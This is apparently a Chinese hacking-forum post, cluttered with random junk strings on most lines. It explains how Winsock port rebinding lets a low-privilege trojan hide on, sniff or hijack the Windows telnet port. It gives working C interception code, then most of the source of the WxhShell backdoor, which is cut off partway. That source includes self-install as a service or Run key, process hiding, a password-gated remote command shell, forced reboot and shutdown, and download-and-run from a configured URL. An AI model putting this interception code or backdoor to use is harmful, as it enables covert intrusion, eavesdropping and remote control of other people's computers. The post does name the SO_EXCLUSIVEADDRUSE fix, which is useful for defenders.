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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L7%Dc2{^(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WTSY:kvcCY  
=TwV_Dro~  
  saddr.sin_family = AF_INET; M2%<4(UwI  
]^/:Xsk$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E/Eny 5  
>bEH&7+@_'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2 os&d|  
ZTM zL%i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EX=+TOkAf  
6=MejT  
  这意味着什么?意味着可以进行如下的攻击: P[% W[E<  
86vk"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n"(n*Hf7b  
k "'q   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +, p  
L8T T54fM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u}qfwVX Z  
Uk6Y6mU V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  91jv=>=DM  
Xe:B*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nBWrkVX  
4US8B=jk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V0c*M>V  
k2,n:7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V.: a6>]  
= 14'R4:  
  #include %n=!H  
  #include U$ _?T-x  
  #include \02j~r`o  
  #include    s|"V$/X(W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :&#hjeltt  
  int main() -r/#20Y  
  { UVxE~801Y  
  WORD wVersionRequested; Ajs<a(,6  
  DWORD ret; EYcvD^!1g  
  WSADATA wsaData; yQM7QLbTk  
  BOOL val; 1CFrV=d  
  SOCKADDR_IN saddr; toX4kmC  
  SOCKADDR_IN scaddr; 4/~8zvz&3  
  int err; LV4 x9?&  
  SOCKET s; E)NH6 ~  
  SOCKET sc; B`T|M$Ug  
  int caddsize; W6E9  
  HANDLE mt; f(|qE(  
  DWORD tid;   0{gvd"q  
  wVersionRequested = MAKEWORD( 2, 2 ); Ej F<lw  
  err = WSAStartup( wVersionRequested, &wsaData ); lk 1c 2  
  if ( err != 0 ) { 05=O5<l  
  printf("error!WSAStartup failed!\n"); tA3]6SIK@  
  return -1; 0$":W  
  } :BC 0f9  
  saddr.sin_family = AF_INET; ;7K5Bo  
   (GMKIw2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ AS2$  
Y^2`)':  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {!o-y=  
  saddr.sin_port = htons(23); D 7 [n^WtL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hG2btmBht  
  { h 34|v=8d  
  printf("error!socket failed!\n"); /-8v]nRB  
  return -1; |t4k&Dkx`  
  } B[S.6 "/H  
  val = TRUE; 7iLm_#M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &!N5}N&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zo-E0[9  
  { ^.nvX{H8~=  
  printf("error!setsockopt failed!\n"); ^ Gq2"rDM  
  return -1; jt S+y)2  
  } i"F'n0*L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +r2E5s   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;=5V)1~i1;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NQ'^ z  
 ^G~W}z?-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) % 95:yyH 0  
  { ]6pxd \Q  
  ret=GetLastError(); =yz#L@\!  
  printf("error!bind failed!\n"); !jU<(eY  
  return -1; (W5E\hjJ  
  } 5#80`/w^U  
  listen(s,2); Q7N4@w;e  
  while(1) gK-:t  
  { Gyjx:EM  
  caddsize = sizeof(scaddr); 5l=B,%s  
  //接受连接请求 9RE{,mos2v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "SNsOf  
  if(sc!=INVALID_SOCKET) HvKueTQ  
  { XG<^j}H{}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p27A#Uu2}  
  if(mt==NULL) i74^J+xk  
  { wTf0O@``6H  
  printf("Thread Creat Failed!\n"); v|?hc'Fj  
  break; nxsQDw\hy  
  } mB"zyL-  
  } 2^ ^;Q:  
  CloseHandle(mt); ,b-wo  
  } k]qZOO}  
  closesocket(s); 28f-8B  
  WSACleanup(); 5caYA&R  
  return 0; bsuUl*l)  
  }   p87s99  
  DWORD WINAPI ClientThread(LPVOID lpParam) xGk@BA=0<  
  { n{r+t=X  
  SOCKET ss = (SOCKET)lpParam; %,K|v  
  SOCKET sc; U`W^w%  
  unsigned char buf[4096]; >-s}1*^=oD  
  SOCKADDR_IN saddr; L}XERO TR  
  long num; "<v_fF<Y  
  DWORD val; $a15 8  
  DWORD ret; _a+0LTo".  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q)G*"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?Ih24>:D  
  saddr.sin_family = AF_INET; _xl#1>G^J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [l- zU}u&v  
  saddr.sin_port = htons(23); ` eND3c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6lT1X)  
  { l YH={jJ  
  printf("error!socket failed!\n"); ]1)@.b;QR  
  return -1; hO;bnt%(  
  } ,*E%D _  
  val = 100; J}._v\Q7P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nKu`Ta*fX  
  { ,H22;UV9  
  ret = GetLastError(); ?9H7Twi+T  
  return -1; **_VNDK+  
  } L]K*Do  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iJ?8)}  
  { yZ0;\Tr*J  
  ret = GetLastError(); @ RTQJ+ms  
  return -1; ~1|sf8  
  } C;dA?Es>R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [cXu<vjFM  
  { g_0"T}09(  
  printf("error!socket connect failed!\n"); l>~:lBO  
  closesocket(sc); X2 M<DeF:  
  closesocket(ss); q E$ .a[  
  return -1; zesEbR)j  
  } By3dRiM=,2  
  while(1) F|xXMpC.f  
  { z6Su`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )6bxP&k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Se0/ysVB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _N/]&|.. !  
  num = recv(ss,buf,4096,0); Xuh_bW&zF  
  if(num>0) "{z9 L+  
  send(sc,buf,num,0); `3pe\s  
  else if(num==0) Qbl6~>T  
  break; W.MJyem  
  num = recv(sc,buf,4096,0); 45kMIh~~X  
  if(num>0) R3?~+ y&  
  send(ss,buf,num,0); Vq9hAD|k  
  else if(num==0) %(6f  
  break; mKe{y.  
  } \lKQDct. -  
  closesocket(ss); ?#04x70  
  closesocket(sc); Rn(|  
  return 0 ; Y1`.  
  } s$H5W`3  
 %ef+Z  
!PUhdW  
========================================================== )z/j5tnvm  
}{K)5k@  
下边附上一个代码,,WXhSHELL @'C)ss=kj  
Z]w_2- -  
========================================================== cb'8Li8,j  
:6HMb^4  
#include "stdafx.h" JYv&It  
ZmmuP/~2K  
#include <stdio.h> CvbY2_>Nh  
#include <string.h> ec=4L@V*  
#include <windows.h> {E6W]Mno  
#include <winsock2.h> ?a}eRA7  
#include <winsvc.h> (]7@0d88  
#include <urlmon.h> ,P auP~L  
NA/+bgyuT>  
#pragma comment (lib, "Ws2_32.lib") {F@;45)o  
#pragma comment (lib, "urlmon.lib") zh/+1  
Bj@&c>  
#define MAX_USER   100 // 最大客户端连接数  }Ecm  
#define BUF_SOCK   200 // sock buffer ARQ1H0_B  
#define KEY_BUFF   255 // 输入 buffer QRdb~f;<hj  
 n8:2Z>  
#define REBOOT     0   // 重启 .-RWlUe;,  
#define SHUTDOWN   1   // 关机 ]nfS vPb  
N"E\o,_  
#define DEF_PORT   5000 // 监听端口 ioa 1n=j  
e}K;5o=I  
#define REG_LEN     16   // 注册表键长度 P]6pPS  
#define SVC_LEN     80   // NT服务名长度 c$e~O-OVD?  
=WO{h48]  
// 从dll定义API xHD!8 B)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .zegG=q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \2NiI]t]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E"L'm0i[[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0 ?2#SM  
YLFTf1G9  
// wxhshell配置信息 r5s*"z  
struct WSCFG { }\gpO0Ox  
  int ws_port;         // 监听端口 mY`b|cS3p$  
  char ws_passstr[REG_LEN]; // 口令 4 Qw;r  
  int ws_autoins;       // 安装标记, 1=yes 0=no @&EP& $*  
  char ws_regname[REG_LEN]; // 注册表键名 $7BD~U   
  char ws_svcname[REG_LEN]; // 服务名 k?S-peyRO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 58v5Z$%--  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u[dI81`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V KR6i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YO,GZD`-o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pkk0?$l ",  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E&[ox[g{  
~4\bR  
}; 7,+:Q Y@  
)%MB o.NL  
// default Wxhshell configuration rcyH2)Y/e  
struct WSCFG wscfg={DEF_PORT, As)-a5!  
    "xuhuanlingzhe", ,%,}[q?]d  
    1, bjvi`jyL3k  
    "Wxhshell", wkIH<w|jb  
    "Wxhshell", P}VD}lEyO  
            "WxhShell Service", ^ )+tn  
    "Wrsky Windows CmdShell Service", / 5=A#G  
    "Please Input Your Password: ", IF1?/D"<  
  1, nZ%<2  
  "http://www.wrsky.com/wxhshell.exe", $}\. )^[}  
  "Wxhshell.exe" l|uN-{ w  
    };  MT&i5!Z  
YEZ"BgUnbp  
// 消息定义模块 +:Y6O'h.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .d8~]@U!<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }RyYzm2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |UlScUI,  
char *msg_ws_ext="\n\rExit."; (TY^ kySr  
char *msg_ws_end="\n\rQuit."; ](a<b@p  
char *msg_ws_boot="\n\rReboot..."; I`y}Ky<q  
char *msg_ws_poff="\n\rShutdown..."; FijzO  
char *msg_ws_down="\n\rSave to "; ] xH `  
L^0jyp  
char *msg_ws_err="\n\rErr!"; ?EpY4k8,  
char *msg_ws_ok="\n\rOK!"; 3ea6g5kX  
sxuYwQ  
char ExeFile[MAX_PATH]; Z#Zk)  
int nUser = 0; ZM)a4h,kcm  
HANDLE handles[MAX_USER]; TI*uNS;-  
int OsIsNt;  UnO -?  
1$ l3-x  
SERVICE_STATUS       serviceStatus; `Y(/G"]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ChBZGuO:  
f|< *2Mk  
// 函数声明 t=yM}#r$  
int Install(void); qQ|v~^  
int Uninstall(void); ey Cg *  
int DownloadFile(char *sURL, SOCKET wsh); 3-Ti'xM  
int Boot(int flag); .IYE"0)wJ  
void HideProc(void); '7E?|B0],  
int GetOsVer(void); @,s[l1P  
int Wxhshell(SOCKET wsl); $:<KG&Br  
void TalkWithClient(void *cs); k|g~xmI;  
int CmdShell(SOCKET sock); IPY@9+]  
int StartFromService(void); R_ Z H+@O  
int StartWxhshell(LPSTR lpCmdLine); N}^\$sVu_  
Put +<o <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C"YM"9JSJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xl<Cstr  
>Vg<J~[g  
// 数据结构和表定义 ^WVr@6  
SERVICE_TABLE_ENTRY DispatchTable[] = _$F I>  
{ M/#<=XhA  
{wscfg.ws_svcname, NTServiceMain}, [1Vh3~>J6  
{NULL, NULL} WO '33Q(  
}; HZM&QZHx)`  
2>UyA.m0  
// 自我安装 yTmoEy. q  
int Install(void) 3|@Ske1%Y  
{ O-mP{  
  char svExeFile[MAX_PATH]; <)"Mi}Q[)p  
  HKEY key; PR.?"$!D{  
  strcpy(svExeFile,ExeFile); jT'1k[vJj  
hDfsqSK0 /  
// 如果是win9x系统,修改注册表设为自启动 j[c|np4k\  
if(!OsIsNt) { 0h#' 3z<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gh@QR`xxc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q5QYp  
  RegCloseKey(key); e&wW lB![  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v_oNM5w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *,z__S$Q)  
  RegCloseKey(key); %pV/(/Q  
  return 0; n*'|7#;  
    } f4:g D*YT  
  } 1'}~;?_  
} d7l0;yR&+  
else { PiM@iS  
r0hu?3u1?  
// 如果是NT以上系统,安装为系统服务  4INO .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zf6k%  
if (schSCManager!=0) (uRAK  
{ D[9eu>"'9M  
  SC_HANDLE schService = CreateService U?H!:?,C  
  ( $7lI Dt  
  schSCManager, Nno*X9>~  
  wscfg.ws_svcname, MT|}[|_  
  wscfg.ws_svcdisp, 9r8*'.K`Z  
  SERVICE_ALL_ACCESS, 3;#v$F8R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A-4\;[P\  
  SERVICE_AUTO_START, lB3W|-Ci  
  SERVICE_ERROR_NORMAL, LL.YkYu  
  svExeFile, q(_pk&/  
  NULL, ULAAY$o@5  
  NULL, Ga$+x++'*  
  NULL, Xgc@cwd  
  NULL, XG*Luc-v  
  NULL {bl^O  
  ); q]<cn2  
  if (schService!=0) gNN{WFHQX:  
  { \u2p]K>  
  CloseServiceHandle(schService); $I+QyKO9k  
  CloseServiceHandle(schSCManager); <{7B ^'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C:zK{+  
  strcat(svExeFile,wscfg.ws_svcname); @ Al\:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nIKh<ws4z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^P\(IDJCo  
  RegCloseKey(key); Oe*emUX7  
  return 0; ;aWH`^{i  
    } :SziQQ  
  } LbvnV~S  
  CloseServiceHandle(schSCManager); V% psaT=)P  
} g/'MECB  
} hb zU?_}  
;#cb%e3  
return 1; IIs'm!"Y>  
} B&`#`]  
dz&8$(f,  
// 自我卸载 }M * Oo  
int Uninstall(void) (wnkdI{  
{ t%V!SvT8+  
  HKEY key; 8`kK)iCq  
Mb uD8B  
if(!OsIsNt) { -dZ7;n5&_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .[ NB"\<q  
  RegDeleteValue(key,wscfg.ws_regname); LZ}C{M{=5A  
  RegCloseKey(key); tLJ"] D1w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V- Oy<  
  RegDeleteValue(key,wscfg.ws_regname); >2,x#RQs  
  RegCloseKey(key); +|KnO  
  return 0; tJ i#bg%  
  } ( n|PLi  
} m "h{HgJd  
} seB ^o}  
else { -y)ij``VY  
}RDGk+x7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oxha8CF]D  
if (schSCManager!=0) bBn4m:  
{ VE6 V^6SL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E~3wdOZv1  
  if (schService!=0) VW}xY  
  { .B+R+2uY3  
  if(DeleteService(schService)!=0) { >PGW>W$  
  CloseServiceHandle(schService); ZM`6z S!  
  CloseServiceHandle(schSCManager); nM>oG'm[n  
  return 0; :]v%6i.  
  } pMe'fC~*  
  CloseServiceHandle(schService); MOKg[ j  
  } ~q5"'  
  CloseServiceHandle(schSCManager); c-(,%0G0  
} T'"aStt6  
} N p$pz  
d @<(Z7|  
return 1; 3Gubq4r  
} ` <cB 6  
q~48lxDU  
// 从指定url下载文件 ! av B&Z  
int DownloadFile(char *sURL, SOCKET wsh) ?k CK$P  
{ yO; r]`j0  
  HRESULT hr; Az8>^|@  
char seps[]= "/"; $h"tg9L^)  
char *token; K*xqQ]&  
char *file; LJt#c+]Li  
char myURL[MAX_PATH]; q;3.pRw(  
char myFILE[MAX_PATH]; N0,wT6.  
BxS\ "W  
strcpy(myURL,sURL); vd6Y'Zk|F6  
  token=strtok(myURL,seps); 0GK<l  
  while(token!=NULL) <Wn={1Ts"  
  { =* oFs|v  
    file=token; zxTcjC)y  
  token=strtok(NULL,seps); ^2rNty,nH  
  } s`B]+  
meA=lg?  
GetCurrentDirectory(MAX_PATH,myFILE); ,]+P#eXgE  
strcat(myFILE, "\\"); 4C\>JGZvq  
strcat(myFILE, file); }(4U7Ac  
  send(wsh,myFILE,strlen(myFILE),0); sKVN*8ia  
send(wsh,"...",3,0); $!)Sgb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O0`sg90,C  
  if(hr==S_OK) rlEEf/m:  
return 0; OX d617  
else B2w\  
return 1; (A|Gb2X  
@KfFt R-;  
} $6e&sDJ  
`z=U-v'H)D  
// 系统电源模块 (n_lu= E70  
int Boot(int flag) (LbAP9Zj#f  
{ ^1^k<  
  HANDLE hToken; :L*"OT7(6  
  TOKEN_PRIVILEGES tkp; /Uth#s:  
Ab ,n^  
  if(OsIsNt) { QV,X> !Nz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Alt+O_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SR7$m<0t*  
    tkp.PrivilegeCount = 1; 0*^ J;QGE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i`U:uwW`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C8 9c2  
if(flag==REBOOT) { 1BO$xq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = _X#JP79  
  return 0; rH Et]Xa  
} FKRO0%M4}Z  
else { #}*w &y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |h$*z9bsf  
  return 0; 6;6a.iZ  
} qk VGa%^  
  } PLD6Ug  
  else { G- wQ weJ9  
if(flag==REBOOT) { +aR.t@D+"Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D;VQoO  
  return 0; &/R`\(hEA  
} {\3k(NdEX  
else { /I&Hq7SW`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yt*2/jw^  
  return 0; $8zsqd 4?  
} K =T]@ix$  
} &~gqEl6RF  
BB@I|)9O(  
return 1; WJ":BK{NM  
} t>.1,'zb  
{C3AxK0  
// win9x进程隐藏模块 q/w<>u  
void HideProc(void) k]?M^jrm  
{ )NAC9:8!  
GG%X1c8K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {uH 4j4)2  
  if ( hKernel != NULL ) `2`Nu:r^  
  { m}/LMY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B w?Kb@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tVVnQX  
    FreeLibrary(hKernel); |:yQOq|  
  } k.=67L  
a Mp*Ap  
return; q,6 y{RyS  
} 5(e?,B }  
G%0G$3W"  
// 获取操作系统版本 H^_]' ~.  
int GetOsVer(void) ? g9mDe;k  
{ E)z[@Np  
  OSVERSIONINFO winfo; JA0$Fz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m| 8%%E}d  
  GetVersionEx(&winfo); $Gt1T[:QUX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N5 ITb0Tv  
  return 1; }%LwaRT  
  else `~|8eKFq!  
  return 0; pgT XyAP{  
} . +_IpygQ  
G tI]6t  
// 客户端句柄模块 j$r.&,m  
int Wxhshell(SOCKET wsl) B198_T!  
{ ER,,K._?B  
  SOCKET wsh; +W|MAJtg  
  struct sockaddr_in client; KY'"Mg^!  
  DWORD myID; 18JhC*in  
0_b7*\xc  
  while(nUser<MAX_USER) $mFsf)1]]?  
{ Jg#L8>p1  
  int nSize=sizeof(client); 09?n5x!6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yas!w'  
  if(wsh==INVALID_SOCKET) return 1; K8E:8`_cx  
~@ a7RiE@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $tvGS6p>  
if(handles[nUser]==0) q@ !p  
  closesocket(wsh); VesW7m*z  
else s)Sa KE*d  
  nUser++; +SCUS]  
  } 7+] T}4;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T3 xr Ua&  
`< 8Fc`;[  
  return 0; BOqq=WY  
} OdX-.FFl  
CORX .PQ  
// 关闭 socket 5MY+O\  
void CloseIt(SOCKET wsh) V+M2Gf  
{ bm1+|gssn  
closesocket(wsh); cGSoAK  
nUser--; +wd} '4)  
ExitThread(0); ]:TX> X!  
} ),`MAevp  
R<W#.mpo6  
// 客户端请求句柄 L'=e /&  
void TalkWithClient(void *cs) xTQV?g J  
{ ,Ie~zZE&  
/Z<"6g?  
  SOCKET wsh=(SOCKET)cs; Dz, Fu:)  
  char pwd[SVC_LEN]; .N~qpynY  
  char cmd[KEY_BUFF]; a(CZGIB  
char chr[1]; #sit8k`GR8  
int i,j; :&$4&\_F  
Bm%.f!`  
  while (nUser < MAX_USER) { pNpj, H*4  
kf~71G+  
if(wscfg.ws_passstr) { 6w{^S~rqo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2,|*KN*e`W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =y>P>&sI  
  //ZeroMemory(pwd,KEY_BUFF); !v\m%t|.  
      i=0; 0@a6r=`el  
  while(i<SVC_LEN) { \phG$4(7+  
ll;#4~iA  
  // 设置超时 &8t?OpB =h  
  fd_set FdRead; 5r/QPJ<h  
  struct timeval TimeOut; 6suB!XF;  
  FD_ZERO(&FdRead); Z5~dU{XsT  
  FD_SET(wsh,&FdRead); r$ue1bH}|  
  TimeOut.tv_sec=8; SxXh N  
  TimeOut.tv_usec=0; }{/4sll  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~h-G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Avw"[~Xd  
9[5NnRv$P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b><jhbv  
  pwd=chr[0]; M"F?'zTkJ  
  if(chr[0]==0xd || chr[0]==0xa) { UNocm0!N'  
  pwd=0; @%J?[PG  
  break; G\h8j*o  
  } QQ@, v@j5  
  i++; G}i\UXFE  
    } A`u04Lm7  
v}dt**l  
  // 如果是非法用户,关闭 socket o*/\ oVOq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oMda)5 &  
} {B|U8j[  
S4<@ji  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); | (P%<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P,AS`=z  
Rf2/[  
while(1) { `h5HA-ud  
`g% ]z@'+?  
  ZeroMemory(cmd,KEY_BUFF); aq"E@fb  
rBs7,h  
      // 自动支持客户端 telnet标准   y5?T`ts,#  
  j=0; )Y~q6D K  
  while(j<KEY_BUFF) { S6}_Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S}e*~^1J  
  cmd[j]=chr[0]; Wf_aEW&n  
  if(chr[0]==0xa || chr[0]==0xd) { fT._Os?i  
  cmd[j]=0; ,IuO;UV#)  
  break; YkPz ~;  
  } Y'/`?CK  
  j++; .^#{rk  
    } [.<nt:  
$Z 10Zf=  
  // 下载文件 `6j?2plZ  
  if(strstr(cmd,"http://")) { fh$U"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /@FB;`'  
  if(DownloadFile(cmd,wsh)) 5`oor86  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_8 FzXA  
  else =YA%= d_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'DsfKR^ s  
  } &0f7>.y  
  else { 2bX!-h  
y=9a2 [3Dz  
    switch(cmd[0]) { <t]c'  
  EBzg<-?o  
  // 帮助 bXq,iX  
  case '?': { 2 T{PIJg3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \, n'D  
    break; BO[Q"g$Kon  
  } X_s;j5ur  
  // 安装 #CV(F$\1{  
  case 'i': { 2)RW*Qu;+  
    if(Install()) &:]_a?|*S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o)}b Fw  
    else 4)2*|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ms1\J2  
    break; * V W \  
    } :;0?;dpO  
  // 卸载 Vu`dEv L?  
  case 'r': { tP!sOvQ:  
    if(Uninstall())  +KFK..  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  aSHZR  
    else ?0[%+AD hM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &[cL%pP  
    break; w])~m1yW  
    } [$[t.m  
  // 显示 wxhshell 所在路径 ieBW 0eMi  
  case 'p': { >;xEzc!W3*  
    char svExeFile[MAX_PATH]; rF~q"9  
    strcpy(svExeFile,"\n\r"); .U5+PQN  
      strcat(svExeFile,ExeFile); Zz?+,-$_*&  
        send(wsh,svExeFile,strlen(svExeFile),0); }WI24|`zM  
    break; 86%weU/*  
    } 7M;Y#=sR  
  // 重启 8x,;B_Zu  
  case 'b': { 9U}EVpD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (-dJ0!  
    if(Boot(REBOOT)) ,eUMSg~P.7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vo7 1T<K  
    else { fil6w</L  
    closesocket(wsh); 73}k[e7e  
    ExitThread(0); <S$y=>.9  
    } w5n>hz_5  
    break; nj7Ri=lyS  
    } Z/-%Eb]L1  
  // 关机 \ vJ*3H6  
  case 'd': { ^"buF\3L  
